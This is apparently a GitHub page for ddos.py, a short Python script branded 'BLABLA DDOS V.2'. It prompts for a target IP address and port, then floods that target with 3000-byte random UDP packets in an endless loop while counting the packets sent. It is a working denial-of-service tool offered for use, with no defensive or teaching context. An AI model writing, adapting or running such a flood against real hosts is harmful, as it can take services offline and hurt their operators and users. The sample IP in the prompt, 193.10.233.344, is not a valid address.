-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathddos.py
44 lines (36 loc) · 1022 Bytes
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import socket
import random
from requests import get
import json
import sys
os.system("clear")
banner = """
###################
# BLABLA DDOS V.2 #
# CODE BY BLABLA #
###################
"""
print(banner)
def get_ips_for_host(host):
try:
ips = socket.gethostbyname_ex(host)
except socket.gaierror:
ips=[]
return ips
ips = get_ips_for_host('www.google.com')
print(repr(ips))
hostname = socket.gethostname()
ip_address = socket.gethostbyname(hostname)
print(f"Your Hostname: {hostname}")
print(f"Your IP Address: {ip_address}")
target_ip = input("Target ip address Exp(193.10.233.344) = ")
target_port = int(input("Target Port: "))
byte = random._urandom(3000)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
how_many_packages_did_we_send = 0
while True:
s.sendto(byte,(target_ip,target_port))
how_many_packages_did_we_send += 1
print("Attack stated! ,Package send=")
print(how_many_packages_did_we_send)